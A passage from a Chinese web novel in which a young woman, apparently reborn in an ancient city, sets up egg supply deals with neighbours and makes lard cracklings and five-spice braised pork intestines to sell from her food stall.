“婶子,”满未楹对着尤婶子露出笑脸,“我知婶子是好心,也知道毕竟街坊邻里的。只是我和阿娘要在这里生活下去,总不可能一昧给别人笑脸。她是我阿娘。”
说着满未楹掏出钱袋来,尤婶子拍了一下她的手,瞪着眼:“等不及了?才赚点钱就翘尾巴了?”
满未楹依旧满脸笑意,“婶子这话说的,我要跟婶子谈生意呐,可不得拿钱?”
“生意?”
“是呢,我想问问婶子家养了多少鸡?每日能有多少鸡子儿?可否每日给我供货?”
满未楹重新和尤婶子坐回廊下,满珣走出了屋。
这一聊才知,尤婶子在自家后院里养了五十多只母鸡,除了抱窝的那些,每日生蛋能有七八十枚。
还好尤婶子家住在巷角,旁边就是一条小支流河,加上打扫勤快,不然光是鸡屎臭味都能叫邻居家闹上好一通。
满未楹便和尤婶子谈,每日送六十枚鸡子儿,一只蛋按二铢的价格,一开始可以每日一结,等到满未楹有了收益,便一月一结,每月月初便付。
尤婶子都不用想便同意了,平常她家的鸡子儿要么给自家人吃,要么就是囤起来卖给酒楼,酒楼还会嫌过了几日不新鲜了,总是杀她的价;可若是不囤,一次人家又嫌量少,懒得收。
要不是自家孩子多要长身子,儿媳嫁进来总不能亏待了,肉菜这一项自己养省了不少开销,还能卖出去挣点收入,尤婶子早就不想看人家脸色了。
“好好好。”尤婶子喜笑颜开,看满未楹的眼神更亲热了。
满未楹当即便从袋子数出一贯钱来,“婶子不用跟我客气,前些日子我娘病了,我出不了门看着她,婶子一日三餐送我们吃食。帮急不帮穷的道理我也是省得的。现在我摆小食摊子有了进项,怎好一直占婶子便宜?”
满未楹如此说,尤婶子不好再推拒,便把钱都收下了。“等晚间我去捡了鸡子儿,就给你送来!”
满未楹自然是放心尤婶子家养的鸡和下的蛋,毕竟这可是她给自家孩子吃的。而剩下不够卖的鸡蛋,她便去市场上买。这于她而言也方便。
“而且我还有事要麻烦婶子呢。”满未楹说,也丝毫没瞒着,“这屋子后面自然还是要修的,我初来乍到,阿娘也外嫁多年,不知道还有哪些好木匠,价格又公道的。
“我素来不喜这种躲在妻子背后,让她与人纷争,自己留个好名声的人。”满未楹摇头,“没担当得很。做事想必也一贯如此。”
“这自然是有,我刚说的城外那俞家便是。”尤婶子顿了顿,“今天找这乐大夫妻俩来,也是人情不得不做罢了,这夫妻俩行事我也不喜欢,只是街坊邻里这么多年,他俩手艺又好,而且离得也近,到底方便。”
她没想到满未楹年纪小小,看人却敏锐得很,行事也果断。
她看了看面色变红润的满珣,撇撇嘴:“你说的是极了,这乐大是个顶顶会务实的人。我这才想起来有桩事,只怕你娘俩都还不知道呢。”
8.谈合作
见尤婶子神神秘秘的凑过来,满未楹和满珣也向她靠近。
“你们知道这乐大的木匠手艺从哪儿学的吗?”尤婶子卖了个关子。
满未楹眼睛咕噜咕噜转了两圈:“罗婶子家里?”
“要不怎么说你这孩子聪明呢?”尤婶子又是拍了一下满未楹的背,“他家里养不起这么多孩子,把他送城里来学手艺。年轻时长得也算相貌堂堂,当时和街对角一户人家的闺女好上了。”
虽然说古代有所谓的“男女大防”,但在春秋战国时期远没有发展成后世那般,而且这里更侧重“刑不上大夫,礼不下庶人”①。平民按照那一套礼法来,那日子没法过了。
青年男女之间有往来也属于常事。当时没人惊讶。
“那户人家也算小有资产,她父母也是个爱吹嘘的,喜欢说自己给女儿准备了多少嫁妆。”尤婶子撇撇嘴,“结果你猜怎么着?”
满未楹和满珣都摇摇头,满珣那时已经出嫁了,虽然见过乐大和罗婶子,但并不知道这里面的章程。
“那罗芸妙原先嫁过一次人,不过那人命薄早早没了,也没孩子,她就回娘家了。结果没多久,她唯一的兄弟也急病走了,这偌大家事可不就只能给她了?”罗婶子闺名叫罗芸妙。“嘿,这可不就给乐大逮着了?当即对罗芸妙她爹赌咒发誓,愿意入赘,当亲儿子侍奉他二老。罗芸妙比乐大大上六岁,她爹也不挑了,罗芸妙自己也满意。这事就这么成了。”
尤婶子讲得绘声绘色,一杯茶都喝光了,满珣又续了一杯。
“那街对角那户人家的闺女呢?”满未楹问。“什么反应都没有吗?”
尤婶子翻了个白眼:“一家子没气性的蠢货,说什么「到底也没真的约定过什么,闹出来怕坏了女儿名声」。是我的话,当时不发作,肯定也要在成婚当天砸一通喜堂,狠狠出一口气。”
满未楹点头称是。
“那乐大,这些年靠他岳父教的手艺和传下来的这间好铺子,也赚到了钱,心也野了,听说在城外......”尤婶子讲到这里,刚好对上睁着大眼睛、听得聚精会神的满未楹,“哎呀哎呀,小娘子听不得这些,我要家去了,你们也先歇下再做午食吧。回头等乐大他们做好了来安装,我到时上门来看着,这乐大,越说我心里也不舒坦,万一对你们孤儿寡母的耍滑头怎么办。”
说着说着,尤婶子又开始后悔起来怎么不多走几步路去找别人家来。
满未楹把她送出了门,“婶子放宽心,街坊邻里的大家都在,顶多只敢耍滑头多要点钱,而且我们就做这一次生意。”
尤婶子点点头,嘱咐她锁好门后便离开了。
满未楹还要出去一趟,买一批鸡蛋,再买点菜回来做今日的午食。
早上还是太匆忙了,光是重新生火、揉面、搬炉子、支摊子、倒油就花了她不少功夫,尽管小摊贩就在对面,她都来不及去买菜。
但若是要她再早起一点,她也是做不到了。
出门前,满未楹检查了一番前面铺子的门锁,走到前院中,看了看二楼的窗户,虽然楼梯被砸了她暂时上不去,但是二楼窗户俱是锁的好好的,窗纸也未破损。
满未楹稍稍放下心来,要是雨水顺着二楼门窗流进去,泡烂了地板等,到时修起来又是一笔开销。
拐过街角,定挽桥下的菜农们位置好,大多早早卖完回去了。
满未楹也不着急,她顺着街道慢慢往外走,跨过巷角尽头小支流河的平桥,看到了昨天的小菜农,他蔫头巴脑地坐在小摊前,看来今天没有抢到好位置。
小菜农看见有人来到摊前,登时抬起头,眼睛都变得亮晶晶的:“是你呀小娘子,看看菜不,都是今天早上才摘的,可新鲜了,现在还水灵着呢。”
满未楹眼尖,看见他今日推车上还放着个篮子,里面装着数枚鸡子儿。
这可真是瞌睡便来枕头了。
“小郎君,你这鸡子儿怎么卖的呀?”
“四铢一个,”小菜农答道,“小娘子,我家这鸡子儿可好了,母鸡都是散养在乡下田间,吃菜虫儿和野草的,比那些用糠喂出来的鸡子儿好多了。”
满未楹瞅瞅他,没接这话。真放任鸡去吃菜田,早把菜啄干净了,哪里还轮得到他来卖?
小菜农也知道满未楹不好糊弄,讪讪一笑摸了摸后脑勺:“小娘子,我也是大老远辛辛苦苦拉进城来卖......”
“不卖这鸡子儿,你也得拉菜来卖。”满未楹也知道他不容易,但是她现在正在创业阶段,成本可得控好了,“你这里还剩多少个鸡子儿?”
鸡子儿这时候算肉菜,小菜农把数量记得清清楚楚的:“还剩五十枚。”
“我都要了,你卖我两铢一枚吧!”满未楹给了和尤婶子一样的价格。
小菜农猛得瞪大了双眼,吓得连连摆手:“小娘子哪有这样开价的?直接砍了一半?”
“现在都快到午间了,城里也不缺卖鸡子儿的,而且好多人家自己家还养了鸡;你放到明天鸡子儿陈了、蛋壳生了黑斑,可就卖不掉了。”满未楹浅笑着和他掰扯,“而且我也不是只要这一回,你明儿给我送八十枚鸡子儿来,我照样按两铢一枚全买了。你也知道我的小食摊子在哪,当着大家的面,我必不可能赖账,总比你卖不掉得好吧?而且以后等我核准了数量,也可以和你签个长期文书,约定每日送多少枚鸡子儿来,对你来说不也方便?”
这番话说的小菜农晕头转向糊里糊涂,但是道理他还是明白的。
他进出城一趟要两个时辰,现在虽然已经是秋季了,但午时温度高,鸡子儿不比城里这些家养的,放不住,更容易坏。
“娘子说的可当真?”小菜农咬咬牙,“两铢一枚,但是你明儿还得收我的!”
“自然。”满未楹知道这便是成了。
随后她又在摊子上挑了三根瓠瓜,两颗白菜,一把葱,一整个奇形怪状的姜,五六个大蒜,一齐放进了篮子里——她多找小菜农要了个篮子——付过钱后,双方都轻松了不少。小菜农卖掉了鸡子儿也算了却了心事一桩,准备推车去走街串巷看看能不能全卖掉。
满未楹则走向不远处的肉铺子。
云梦城各类铺子众多,这位屠姓杀猪匠开的肉铺子是定挽桥这一片最大的,肉质最好、种类比旁人家多、也最新鲜。盖因媳妇宋娘子家在城外有个大庄子,专门养殖鸡鸭鹅猪羊,附近农家的耕牛若是老死了、病死了,岳母宋婆得了消息便买过来送给女婿,让他放摊子上卖。给女婿的进价自然比旁人低许多。
屠老大对岳母感恩戴德,又
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说自己姓不好,杀生太重,又无甚亲族,没什么值得挂念的,于是和娘子生的几个孩子全跟岳母姓宋了,把宋婆哄得眉开眼笑。
这些当然都是尤婶子在满珣病的那些天给娘俩送饭时说的。
满未楹要了一条猪五花肉,约莫四指长,半指宽,一半肥一半精,肥肉可以熬猪油、做猪油渣,和白菜一炒,吸满了猪油的白菜又香又软,老好吃了;精肉用来炒瓠瓜。这样一顿饭有荤有素,营养均衡。
五花肉算是猪肉各部位里面比较贵的那一类了,要四十铢一斤,也就只有排骨比它更贵。满未楹还是决定买五花,五花肉“用处多”。
屠老大的娘子,宋娘子笑眯眯地看着满未楹比划,按照她想要的范围给她割下了一块肥瘦刚好相半的五花肉。长得好看,说话又温柔的小娘子谁能不喜欢呢?
屠户家肉摊子上还挂着几副清理好了的猪下水,比寻常肉便宜些,只要十五铢就能拿一副走,要是拿没清理好的会更便宜。
这东西味道大,光是葱姜蒜、没有八角等大料是盖不住下水的味道的,但是对生活的艰难些的人家,下水用来打打牙祭、当个猪肉的平替已经很好了。
满未楹眼前一亮,大料,她有啊!
她可以早上卖早食,傍晚卖卤菜,这样每日也能多赚点。
虽然这样一来大料的消耗肯定会变快许多,但是现在为了赚钱也无需考虑这些了。好的是那位贵人送的多,要知道,两粒八角都够炖半幅猪还嫌多了。
于是当即她又要了两副下水和三根用来做汤底的筒子骨,还是没敢要多,先卖一点点试下。
她对自己手艺有自信,云梦城也有舍得花钱的主顾,就怕不合她们口味。
既然要做卤菜,那就必须得单独一个锅了。
卤水虽然能放很久,但是需要每日加热、定期替换部分卤料。而且卤肉不能和卤蔬菜混煮,尤其是豆腐等豆制品,当然满未楹现在还不知道这个时代出现了哪些豆制品,豆制品会很快破坏卤水中的分子结构,第二天便能馊掉。
做卤菜是个精细活,稍有不慎便会浪费珍贵的香料,这对现在的满未楹来说,浪费一片都可惜。
宋娘子看满未楹身量不大,还是个正在长身体的小娘子,两手拎满了东西,这五十个鸡子儿分量都不轻呢,便在围裙上擦了擦手:“小娘子家住哪儿?我给你送回去吧,别拎坏了身子。”
这些东西分量着实不轻,鸡子儿要是在路上磕了碰了,她得心疼死,只是太麻烦宋娘子了,人家还在做生意,肉铺不比菜农,指不定什么时候人家就过来买了。
“没事,”宋娘子把肉扎好,拎着手上,又拎过满未楹的菜篮子,“屠大!出来看店!”她扬声朝店后喊到,一个五大三粗的汉子本来还在掏下水,听见她喊忙不迭走了出来。
满未楹边走边道谢:“多谢宋娘子了,我是在定挽桥下卖早食的,明儿我收摊后,给娘子送几枚我做的茶叶鸡子儿来。”
“那茶叶鸡子儿是你做的呀?”宋娘子看向满未楹,更是夸赞,“我家小子早上巴巴买了回来,当真好吃,现在还记着那滋味儿呢。”
宋娘子只把满未楹送到了定挽桥下,无意打探她住哪儿,很有分寸的离开了。
满未楹提着这堆东西,慢慢家去。
9.猪油渣
等归家后,满未楹放下手中的东西,又去了一趟尤婶子家,询问尤婶子家还有没有小公鸡可以买两只的。
卤汤汤底要用鸡架骨和大棒骨来炖,既然尤婶子家养了鸡,从她这拿最好了。而且尤婶子还会给她收拾好。
满未楹拎着鸡,顺便把今日的鸡子儿提了回去,省得尤婶子再跑一趟。
回到家中,满未楹先把茶叶蛋卤上。
满珣手持一条细纱布,满未楹拎着双耳陶锅,把卤水滤进另一口陶锅里,纱布中便只留下了碎茶末、碎蛋壳等杂质。
茶叶只能用一次,但是茶叶也便宜,用着不心疼;大料还可以继续煮,原来的卤汤本身也是有味道的。
满珣坐在井边,把收来的鸡子儿一枚枚洗干净后放进清水中先煮一遍,而后再加进卤汤中。
满未楹则把小公鸡的肉剔下来,留下了覆着薄薄肉皮的鸡架骨,和大棒骨一起,用清水冲洗一遍,和大块的葱姜蒜一起冷水下锅,先把血块和血沫这些腥气十足的煮出来,而后再捞出,用清水冲洗一遍后再下锅。
这一步叫做煮高汤,高汤用处可多了,后面做面条和馄饨时舀一勺高汤,那滋味鲜美无比。
初期先用大火炖上半个时辰,大火有助于脂肪乳化进汤汁中,汤汁变得乳白鲜嫩。算着柴火燃烧时间,等烧到差不多之后便用少量煤炭,小火炖煮上一下午时间,时间越长,汤越浓稠。
要是有条件还可以加入山菌等再次提鲜,满未楹也是看见那副猪下水才想起来做卤汤的,这会再出去自然买不到山菌了,这次便作罢,如果卖得好,下次可以精益求精便是。
满未楹把高汤炖上,转头便来处理那条五花肉。
只是一闻味道,满未楹就知道为什么宋娘子的肉铺生意最好了。她家的猪肉一闻便是骟过的猪杀出来的,没有那股挥之不去的腥臊味。宋娘子娘家能在云梦城外开庄子养殖,想必也是家里人掌握了这项技术还能保障小公猪的生存率,这才攒到的家底。
从城中肉铺也能看出云梦城的富贵,这时祭祀用的“太牢”猪羊牛大三牲和鸡鸭鱼小三牲都能进入寻常百姓家。
这一切还得多亏了那位鬼谷子的发迹,地理的发展离不开人文和政治因素。
据说他现在常年隐居在北边云梦山上,云梦山每年都会对外招门生,引得周边各国学子们神往,谁不想学成归来进入王庭,再一展宏图抱负呢?听闻云梦山中甚至有公子王姬。
只是满未楹还没来云梦城多久,也没见识过这些大人物。
骟过的猪肉便省了满未楹许多功夫,她都无需想法子处理融进每一寸肉中的公猪雄激素臭味。只使用葱姜蒜挤出汁水来稍微泡一会后,便可以动手了。满未楹将五花肉的精肉和肥肉分开,各自切成薄片。
“小满,这是要做什么?”满珣慢慢站起身,凑到满未楹身边好奇地看着,“做肉脯吗?”
这个时代的人对肉的做法还未完全开发,主要还是厨具的原因。
陶锅受热不均匀,虽然保温好但是升温慢,并不适合爆炒等烹饪方式,也因此天然更适合炖煮。故而人们吃的更多的便是肉脯、肉脩,就是晒干的肉,或者便是熬成“醢”,醓醢便是肉酱,另外还会有鱼醢、蜃醢等等不同酱,吃的时候一碗粟米饭配一勺醓醢,是时人的常规吃法。蔬菜也是一样的做法。
但是满未楹有铁锅。
她微微一笑:“阿娘看着便是,今天我们吃点不一样的。”
铁锅热了一遍后,肥肉便可以直接下锅,只需要几秒,便能看见油脂缓慢从白花花的肥肉中析出,在锅底微微跳跃,折射出黄色的光。满珣闻到了那股独属于猪肉的那股油脂香味,这时的猪油大多是晒肉脯时滴下来、再存起来的,她还未见过有人这样做出猪油来。
满珣坐在小厨房门口,倚在门口上,秋日阳光撒在她姣好娴静的面庞上,无一点妆容已是美的惊人,也落在厨房里不断翻炒的满未楹身上。
满珣静静看着满未楹专注的面孔,满未楹从满珣那继承了好相貌,但和满珣不同,满未楹生机勃勃、充满活力,像是旷野里自在的小兽,但满珣是弱柳扶风,需要别人娇养的名贵花。
满未楹之前并不是这样,坠崖后像是突然长大了,但是举止言辞间又满是熟悉
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感。满珣说不准,她默默垂下了眼眸。
满未楹没有注意到身后满珣的眼神,她注意力集中在锅里,一条五花肉本来也没多少,这次熬猪油只要稍微炒一下就能炒出来,如果肥肉再一多,就需要用水来熬了。
这里可有没有煤气灶,说关火就能关火,猪油这种东西稍微过头就炸焦了,满未楹把铁锅拎起,远离了火灶,再把肉渣一片片夹出来,剩下的猪油倒进陶碗中。
“阿娘尝尝。”满未楹捧着猪油渣蹲到满珣腿边,满珣回过神来。
刚出锅的猪油渣最是好吃,这时候猪油还没冷却,一口嚼下,猪油在口中爆开,伴随着炸的脆脆的肥肉,香气满溢,尽是满足。
“阿娘帮我淘下米吧,我们今天还吃大米饭。今天中午做一个白菘炒油渣,晚上用瓠瓜把剩下的猪肉炒了。鸡肉我等下放进地窖里,留着明天吃,只是为了剥鸡架,鸡肉都碎了,我明天做一道蒸鸡丝。”满未楹絮絮叨叨说着安排,和满珣又分吃了几块猪油渣。
刚才的猪油这会便派上了用场,等下还要和猪油渣一起翻炒,只需要放一小勺便够了。白菘就是白菜,水分多。和猪油渣一起下锅翻炒后,猪油渣也吸了水,重新变得蓬松柔软起来,虽然不再脆生,但是混着白菘的清甜又别有一番风味。
白菘炒油渣拌着大米饭,母女俩饱餐一顿。
而隔壁的钱金玉又在垫着脚尖闻。
“浮郎,你说隔壁这家小娘子,是怎么做的午食?怎么每天闻起来都这么香?”
钱金玉有些苦恼,恨不得当即便去敲门问。陆浮也很不解。
钱家嬷嬷今天还特意买了牛腩回来,和鸡子儿一起炖了一道牛肉羹,只是这闻起来都没隔壁香。
“只是我们和她家从来便无交集,也不能贸贸然上门吧。”陆浮小声说着。
钱金玉娘家有钱,铺子还是这几年为了她成婚买的,算是定挽桥这一片的“新人”。
“唉。”钱金玉叹气。
要是以后日日闻着这味道,却吃不到一口,这不是要把她急死么?
而等到了晚上,钱金玉终于按捺不住了。
10.做卤菜
傍晚时分,满未楹用来做卤水的高汤终于熬好了。
大棒骨和鸡架骨的油脂完美融合在汤中,汤汁乳白浓稠,彻底吸收了肉类精华。
长时间炖煮过后,大棒骨里的骨髓晶莹剔透、微微颤颤,而原本坚硬的骨头本身现在也是一敲就碎,满是油花。
卤水也有很多种类,从最初的酱卤中衍生出五香卤水、辣卤、甜卤,还有以鱼露、海鲜、川椒等具有地方口味的原材料做出来,具有独特地方风味的卤水。
满未楹曾经尝试做过诸多不同的卤水,各项调料配比熟记于心,每一种都尝试卖过,所以她知道最符合大众口味的,还是五香卤水和酱香卤水。
满未楹这次准备做五香卤水,相比酱香卤水需要用到蚝油,五香显得更简单些。蚝油原材料需要用到生蚝,在古代运输技术下,不可能新鲜的运输进地处内陆的云梦城中,海鲜腐败的神经毒素可是致命的;而且只怕即便有成品能送进云梦城,价格也不会多么亲民。
把八角、桂皮、小茴香、香叶、草果等先过水,用温水浸泡,冲刷掉上面的浮尘。
每样只要五克左右,和高汤混合后就足够煮出十到十二斤的卤水,这也是满未楹目前有的陶锅最大容量,加多了反而会有异味和发苦。
家里自然是没有这么精细的小称来称量,但满未楹凭借记忆里也能捏的大致不差。
所有香料都装进细纱布中,然后吊进高汤中,再加入更多清水,开火慢炖。
满未楹还炒了个糖色,这里没有冰糖,但是用白砂糖也是一样炒。加进卤汤中,会让卤汤颜色变得更加鲜亮。
等到卤汤煮沸后,少量多次加入糖色、酱油、盐、黍酒,初步做出来的卤汤需要比寻常口味更重,因为后面加食材会稀释。
暮色降临,凉意也慢慢从地表泛起,满未楹将卤汤搬进了厨房中,只从两扇天窗中排气。
满珣和满未楹下午都睡了一个长长的午觉,这会两人精神都很好。
满珣用温水一遍遍冲洗着猪下水,摊子上只是把猪肠里的东西全部冲刷干净了,但是剩下的步骤还是要自己来完成。
满未楹教满珣用面粉、食醋多次揉搓抓捏,而后把猪肠翻过来后撕去淋巴和所有脏油。而后用葱姜蒜挤出汁水来浸泡一会。
这副下水只包含了猪大肠,像猪心猪肺猪肝猪腰这些都是会拿出去单独卖,不然也不会十五铢一副了。
猪大肠的气味委实不好闻,即便用了多种去腥的方法,味道也是腥气无比。
满珣忍了半晌,终于没忍住呕了几下。好的是她孕吐反应现在还不严重。
满未楹把手上酱料全部加进卤汤后,卤汤的颜色已经变成了鲜亮的酱红色,而后便把大肠切成一段段,放进卤锅中。
卤水第一次做卤菜,用肉来卤是最好的,油脂丰富的食材能充分炼化,使得卤水本身香气的层次更加丰富。
早上从鸡架骨剥离的鸡肉也切成一片片放了进去,因为满未楹发现这么一大锅卤水只用两幅猪肠还是太少了,有点浪费。
和茶叶蛋的香味不同,卤汤更厚重、混合了明显的肉香和油脂香气,醇厚无比,顺着天窗飘出,盖住了茶叶蛋的气味,也飘进了隔壁院子里。
钱金玉从前面铺子里理完今日的帐回来,有不少典当的首饰等物已经到了期限,可以任由当铺自行处理。钱金玉铺子里有两种当法,一种三个月期限,价格高;一种六个月期限,价格低。到期不赎回便任由她处理了。
此刻她手中正拿着一块到期的白玉饰,雕刻着精美的双鱼,背后还篆刻着燕书的“元”字。正常钱金玉不会收这种带有明显前主人印记的玉饰,尤其是玉这种几乎无法二次打磨的名贵石头。
但是这块白玉实在太漂亮了,如同高山白雪,通透凛冽。
钱金玉还记得那个前来典当的小娘子,气质高凝如这块玉,令人不敢正视。
小娘子急用钱,以十贯钱当掉了。
现在到期没有赎回变成了死当,绝对是钱金玉捡了大便宜。
钱金玉也不打算卖出,有印记的东西不好卖;正好自己的女儿也是家里第一个孩子,当得起“元”这个字,等女儿长大一点便给她戴着。
尽管当铺许多东西都来路不明,不知背后是不是背了什么事,但是钱金玉向来顺遂好命,从不信这些,能在云梦城开当铺,自然是有自己路数的。
而且玉这种东西,时人相信“挡灾”一说,既然它现在好好的,证明前主人也无虞,现在换了主,也没什么了不得。
钱金玉正欣赏着这块玉饰,结果刚回到后院便闻到了这股卤香,瞬间她的心神便从玉饰中挣脱出来,再也按捺不住。
“嬷嬷、浮郎!”钱金玉高声喊着。
一个中年娘子从内室中转出:“我的祖宗哎,可轻声些。大小姐耍了一下午,和姑爷刚睡着。”
钱金玉像是被掐住了喉咙的鹌鹑,登时消声,等嬷嬷来到近前,才以气音小声说:“嬷嬷你闻——”
嬷嬷自然早就闻到了,这卤汤太霸道,越过院墙直冲着后院而来,她和乳母带着大小姐就睡在厢房里,哪能闻不见?
“嬷嬷你和我去隔壁问问吧,可馋死我了,这得多好吃呀。”钱金玉软语撒娇。
这个家向来是由钱金玉做主,嬷嬷哪有不从的。
前面铺子已经下了钥,二人从后门转出,转瞬便到了满未楹家后院门,嬷嬷伸手便敲。
柴火噼啪作响,陶锅中咕嘟冒泡,铁锅里爆炒着瓠瓜抄肉片,各色香气汇聚,不同声音交响,小厨房里正热闹。
满未楹自然没听到后院传来的那点响动。
直到敲门声在侧门响起。
满未楹刚把瓠瓜炒肉片盛进碗中,满珣慢慢走出角门:“谁?”
“娘子有礼,我们是隔壁当铺钱家的。不知娘子家是在做什么吃食?可否卖一份予我们?”嬷嬷高声说道。
满珣从门上置的内窥孔向外看去,一老一少两个娘子提着灯站在门外,她打开了门。
钱金玉和嬷嬷笑意盈盈。
满未楹也走了过来,认出其中一人是早上抢了好几个茶叶蛋的娘子:“我家正在做卤菜,只是这会子还没炖好,只怕还得再过上大半个时辰。”
钱金玉拼命遏制住垫脚往里看的想法,这太不体面了,“小娘子可还做了早上的鸡子儿?我也闻到啦?可否先卖我几枚?”
她一边说着,一边从一个精美的小钱袋中掏出圜钱:“那卤味若是做好了,也请给我一份呐。小娘子准备怎么卖?”
满未楹实际上还没有想好该怎么定价,而且她觉得应该事先和钱金玉说清楚:“钱娘子,这卤菜是用猪肠做的,不知你吃下水吗?”
稍微有些家底的人家连猪肉都少吃,多是牛羊肉;更别提被视为低贱之物的下水了。
她看钱娘子穿着也知道这是个富贵人家出身的。
果然一听是下水,还是猪下水,那位嬷嬷脸上率先浮起一丝不敢置信、一丝厌恶,剩下则是努力控制地冷静,如同调色盘。
但是钱金玉闻着那卤香味,心里虽然也很是不喜,但是咬咬牙,今天哪怕是下水,她也一定要尝尝。
“没事小娘子,给我来一份!”
“这卤菜是我家的秘方,还用了不少名贵香料,价格可不便宜。”满未楹说着,“五十铢一份。满满一个陶碗。”
满未楹说的陶碗值得便是她们吃米饭用的碗,并非汤碗,连汤带猪肠大概不到半斤的样子。
乖乖!这价格可都快赶上牛肉了!嬷嬷脸上神情变成了震惊。一份猪下水卖这么贵?而且还只有半斤。
满未楹却气定神闲,如果决定要卖卤味
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,那必然要卖回本。她这是小本生意,也没有量产能力,低价引流是不可取的。
还好第一个主顾便是有钱的主,而且馋虫上头。
钱金玉当即便从钱袋中数出十枚圜钱:“有劳小娘子,给我来两份这个卤菜,再给十个鸡子儿。等娘子做好了——半个时辰是不——我让我家嬷嬷上门来取。”
钱金玉是做当铺生意的,心算极快。
满未楹接过,送走了二人后,她和满珣对视,都看到了彼此脸上的笑意。
生意送上门,自然是让人高兴的。
二人返回小厨房用晚食。
那个小菜农家里种菜是有一手的,昨日的南瓜,中午的白菜,现在的瓠瓜,鲜嫩多汁,脆生爽口。
想到他抢不到好摊位那副愁眉苦脸的样子,满未楹忍不住笑了一下。
二人吃完晚食后,满珣去洗碗,满未楹则往泥炉中添了几把柴火,看着卤汤锅中不断咕嘟咕嘟冒起气泡,而后又破裂,香气扑面而来。
鸡肉并不需要卤很久,卤久了反而柴,提前便可以捞出,满未楹顺带捞了一块肥肠出来。
满珣做事精细,连猪肠上没撕掉的那些赘生物都剪掉了。
卤汁浸透了猪肠,酱色鲜亮浓郁,热气腾腾冒出,满未楹咬下一口,吸满了汁水的猪肠脆生嫩滑,多种香料的丰富层次感在嘴里爆开,醇厚鲜香。
满未楹一边吃一边被烫的发出嘶嘶声。
猪肠虽然可以吃了,但是还需要再多炖一会,这样会更加入味,也会变得软烂,这样更适合大多数人的牙口。
等钱家嬷嬷来取时,她还带了一个双层食盒,满未楹将两碗猪肠放进去第一层食盒后,还搭了一碗卤鸡肉:“这碗鸡肉是我送娘子的,娘子尝尝可还合口味。”
另外一层食盒用油纸垫了两层,捞出十个茶叶蛋放入。
嬷嬷笑着应下。
等嬷嬷一归家,钱金玉和被钱金玉扯起来的陆浮两眼放光的迎了上来。
嬷嬷放下两碗猪肉后又去端了小米粥。
钱金玉和陆浮早把刻板印象丢到了一边,两人举着箸,大嚼猪肠,从未有过的新奇浓厚味道直冲两人脑门,先入口的便是那股鲜香,而后泛起一丝丝辣味,紧跟着便是不同香料混合涌上,在味蕾上跳跃。
两人吃得飞快,一口接一口完全不停歇,钱金玉甚至还从陆浮碗里抢了几块。所谓的猪肉下等、猪下水更不是贵人所食全丢到了脑后,好吃就完事了还分什么高低贵贱呢?
“你说这小娘子,用的是名贵香料?都是些什么?怎么我从未见过?”钱金玉满心好奇,她出身富贵,连她都未曾听闻。
“有这种香料,小娘子用在猪下水上,也是浪费。这要是卖给那些酒楼,何愁不赚?”陆浮如此说。
“这种好东西自然不会教旁人知晓,否则她还怎么赚呢?”钱金玉深谙物以稀为贵,她倒是很能理解满未楹的选择,“而且小娘子人小店小,总不能在小摊上做那些大菜吧?照我看,她这个法子倒是很巧妙。”
那边钱家边吃边讨论,满未楹这里把茶叶蛋炉子搬进了小厨房中,煤炭埋进炭灰里,看着茶叶蛋汤逐渐恢复平静。
母女俩回到了厢房中,满未楹需要早睡,她明天还得早起卖早食。
满珣则从归家带的箱笼中翻找出满未楹几件去年入冬的衣服,趁着精神好,她按满未楹现在的身量稍微改改。
满珣专心拆着一处缝线,突然听到门外似乎有轻微的响动。
夜风凉,本身门窗就不牢固,一回房满珣就把门窗合得紧紧的,还用木棍抵好。
她下床打开一扇窗,向内院看去。
月光下,内院里井然有序,又一片安静。角门上的锁也扣得好好的。
可能是夜猫走动,这也是寻常。
满珣合上窗。
11.好狗狗
第二天,照旧是天不亮满未楹便爬了起来。
空气中泛着一股寒意,满未楹看见了满珣搭在椅背上的一件嫩黄色薄褙子,这是满珣昨晚改好的。就像后世家长给小孩买衣服总会买大一两码,然后把裤腿、衣袖缝起来一截;这里则是做衣服时便有意做大一些,也因此这件褙子衣袖和下摆放出来的布料颜色鲜亮,和洗褪色的形成鲜明对比。
满珣编了一条麻花衣带,缝在放出来的布料部分,针脚藏在背面,正面一点也看不出来。既遮住了颜色对不上的部分,又装点了薄褙子,看起来明媚大方,非常适合她这个年纪的小娘子,更能衬托好相貌。
满未楹穿上褙子,到缺了一大块的镜子前转了两圈,非常满意。
她又从箱笼里翻出几根红色布条,给自己扎了两条麻花辫,又把宽大的袖子绑好,便回到小厨房准备今天要卖的早食。
虽然才卖了两天早食,但是满未楹感觉自己越做越熟练了,找回了前世的那种感觉。
前世也是如此,爱赌的父母离世留下大堆债务,她放弃了父母留的唯一“遗产”,那间小小的商品房,也就放弃了债务。之后腾挪在各个亲戚家,亲戚都是好人,只是确实养不起一个日渐长大的孩子。
满未楹十五岁之后就在饭店里打工,学到点手艺后便开了自己的早餐店,运气加天分和努力,后面越做越大,又开了小饭馆做到连锁,供自己重新读了大学,甚至去到国外留学。
那时做早餐店,常常要凌晨三点便起来,而且竞争压力大,一天不开业顾客就流到别人家去了。所以满未楹长达六年都没有休息过一天。
只是那时忙来忙去只是为了自己能活下去,现在虽然也有经济压力,但是不同了。
她从窗口望向厢房,满珣和未出生的孩子正熟睡着。
对满未楹而言,重新有个家的意义非同一般。
等到满未楹把小食摊子支起来时,定挽桥下依旧是热闹非凡,昨日才见的大娘和小娘子依旧争执不休,只是今日小娘子抢先来了,占了上风。
而那小菜农为了抓住满未楹,今天特地起了一个大早,也占了个不错的位置,正眼巴巴的等着呢。
满未楹才摆好泥炉,小菜农拎着鸡蛋篮子便冲到了她跟前:“小娘子,这是你要的鸡蛋,我们说好了的!”
他声音洪亮,小小的眼睛紧紧盯着满未楹,生怕她不认账。
油正热着,面团也还在发酵,满未楹正好有空,便一枚枚检查过,再把空篮子还给小菜农,数出圜钱和铢来递给他:“明日记得继续送哦。”
她本就姿容姣美,笑起来双眸弯弯似弯月,小菜农看得一呆,耳根红红的讷讷不敢言。
满未楹从茶叶蛋锅中最下面捞出一只蛋,蛋汤还没完全加热,但是最下面要好很多:“可能蛋黄还没热,但是也能吃了。小郎君不嫌弃的话当个零嘴儿吃吧。”
小菜农登时又变得惊慌起来:“小娘子,这鸡子儿老贵一个了,这如何使得?”
这可是卖六铢一个的鸡子儿!
“不打紧,算我送小郎君的。”满未楹用油纸包好递过去,小菜农双手接过,仔细的捧着。
像他们这些城外的菜农大多家贫,孩子生的又多,大多数时候也就是图个温饱罢了。六铢一个的鸡蛋是消费不起的。他们一日只用两餐,早食往往是不吃的。
小菜农闻着茶叶蛋的香气,忍不住咽了一大口口水。
